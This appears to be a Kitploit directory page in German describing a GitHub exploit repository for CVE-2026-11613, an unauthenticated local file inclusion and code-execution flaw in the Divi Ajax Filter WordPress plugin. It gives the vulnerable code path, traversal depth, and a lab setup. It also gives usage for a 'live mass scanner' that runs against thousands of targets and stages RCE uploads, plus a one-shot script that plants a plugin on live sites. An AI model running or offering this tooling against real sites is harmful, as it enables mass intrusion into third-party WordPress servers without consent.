Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 Nicht authentifizierte lokale Dateieinbindung über 'custom_loop_template' | Kitploit
Tools/GitHubGitHub/wayang1337/cve-2026-11613
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLabs & Praxis
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 Nicht authentifizierte lokale Dateieinbindung über 'custom_loop_template'

Repository anzeigen
vor 6h 13mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — Nicht authentifiziertes LFI -> RCE

PluginDivi Ajax Filter (Divi Engine, Premium — nicht im wordpress.org SVN)
Betroffenalle Versionen <= 5.1.2 (Labor nutzt 3.1.8.4 vom Mirror)
Gepatcht5.1.3 (11/08/2026)
TypCWE-98 — PHP Local File Inclusion, nicht authentifiziert
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N)
AdvisoryWordfence (Finder: h0xilo), veröffentlicht 04/09/2026
Quellcodeöffentlicher Mirror: github.com/albertoformi/fr9z3i4pwxt3qx (WP-Site + Plugin in includes/modules/divi-ajax-filter/)

Technische Analyse (aus Mirror-Code v3.1.8.4)

  1. Öffentlicher Nonce — includes/modules/FilterPosts/FilterPosts.php:1759 erzeugt wp_create_nonce('filter_object') und hängt ihn via wp_localize_script (filter_ajax_object.security) an das Script, das für ALLE Besucher eingereiht wird (wp_enqueue_scripts). Der Nonce ist keine Hürde: Jeder Besucher hat eine Kopie davon.
  2. Nicht authentifizierter Einstiegspunkt — filter_ajax.php:3406-3407 & loadmore_ajax.php:569-570 registrieren Handler mit wp_ajax_nopriv_* (ohne Login).
  3. Eingabe ohne Sanitisierung — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), danach $custom_loop_template = $loop_var['custom_loop_template'] wörtlich — ohne basename(), ohne Whitelist, ohne realpath-Prüfung.
  4. Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    Bedingung: Die Anfrage muss in den Nicht-WooCommerce-Zweig gelangen ($posttype aus dem JSON query ist frei, keine Allow-List) und die Abfrage muss >= 1 Beitrag liefern.
  5. Traversal-Tiefe — Basisverzeichnis = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → benötigt ../../../../../ (5×), um zum Webroot zurückzukehren. WICHTIGER HINWEIS: file_exists()/include() schlagen still fehl, wenn die Präfix-Pfadkomponenten nicht existieren — das Verzeichnis divi-ajax-filter/loop-templates/ im Theme muss existieren (dies ist die dokumentierte Custom-Template-Struktur des Plugins, daher auf Sites, die diese Funktion nutzen, üblich; ohne dieses Verzeichnis wird Traversal effektiv blockiert).
  6. RCE — Wenn ein Angreifer eine .php-Datei auf dem Server platzieren kann (User-Upload mit Author-Rechten, lockere Upload-Konfiguration, anderes Plugin), führt das Einbinden der hochgeladenen Datei zur Codeausführung.

Verzeichnisstruktur

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + Live-Massenscanner (Einzeldatei)
├── divi-ajax-filter-3.1.8.4.zip # Plugin installierbereit (Upload via WP-Admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # Klon von github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # Plugin v3.1.8.4 (betroffen)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, Port 8099
    ├── setup.sh                 # Plugin kopieren + compose up
    ├── install_wp.sh            # WP installieren + verifizieren
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # Shim DiviExtension/ET_Builder_* (nur Labor)
        │   └── zz-activate-daf.php     # Auto-Aktivierung des Plugins
        ├── plugins/divi-ajax-filter/   # verwundbares Plugin (in Container gemountet)
        └── uploads/poc-rce.php         # simuliertes "Upload"-Payload (exit am Ende)

Labor ausführen

root@kitploit:~
bash lab/setup.sh        # Plugin kopieren + docker compose up (Port 8099)
bash lab/install_wp.sh   # WP installieren (admin / LabPass!2026)
# Theme-Struktur hinzufügen, die für Traversal benötigt wird:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 2 Beispielbeiträge erstellen (nur einmal):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / Live-Scanner (ohne Modus — alle Ziele werden als live behandelt)

root@kitploit:~
python poc_http.py target.com                       # automatisch http://
python poc_http.py https://target.com domain2.com   # mehrere Ziele
python poc_http.py --list targets.txt --threads 30  # Massenscan 5000+
python poc_http.py --list targets.txt --fast        # leichter Sweep 2 req/Ziel
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # RCE inszenieren
  • Domains ohne Schema werden automatisch zu http://; automatische Deduplizierung; Ergebnisse werden inkrementell direkt in results_cve-2026-11613.csv geschrieben (Ctrl-C-sicher, Teilergebnisse gespeichert).
  • Status pro Ziel: VULN: LFI / VULN: LFI+RCE (grün), not-confirmed (gelb), NO-NONCE / NO-PLUGIN (cyan), UNREACHABLE / ERROR (rot).
  • --no-color / env NO_COLOR für einfache Ausgabe; Farben werden bei Pipe automatisch deaktiviert.
  • Exit-Code: 0 = verwundbares Ziel vorhanden, 1 = keines, 130 = unterbrochen.

WayangXploit — One-Shot (Canary platzieren + RCE automatisch verifizieren)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

Ein Befehl: Login → Canary WayangXploit platzieren (kleines inaktives Plugin, nur PoC: gibt Marker+uid+uname aus und beendet sich, keine Webshell, keine cmd-Parameter) → verifizieren → nicht authentifizierten LFI-Sweep → RCE-Urteil. Automatisch: https-Upgrade, SSL-Bypass, Redirect-erhaltendes POST. Cleanup: Plugin "WayangXploit Canary" + "Divi Compat Shim" nach dem Test in wp-admin entfernen.

poc_http.py verwendet jetzt standardmäßig --upload-marker WayangXploit-RCE-CONFIRMED (daher reichen --upload-rel / --upload-name allein).

Labor-Verifizierungsergebnisse (real, aus HTTP-Response)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

Exploitability-Bedingungen auf Live-Zielen (die von live_scan.py geprüft werden):

  1. Divi Ajax Filter Plugin <= 5.1.2 ist aktiv (Recon: direkter Zugriff auf die Hauptdatei des Plugins).
  2. Der Nonce filter_object ist auf öffentlichen Seiten exponiert (Modul-Script ist eingereiht).
  3. <theme>/divi-ajax-filter/loop-templates/ ist vorhanden (präfixiertes Traversal benötigt dies).
  4. Für RCE: Eine .php-Datei, die für den Angreifer erreichbar ist, existiert (z. B. aus einem Upload) — LFI-only bleibt dennoch wirksam (Informationsoffenlegung / Auth-Bypass bei jeder .php-Datei).
Tool herunterladen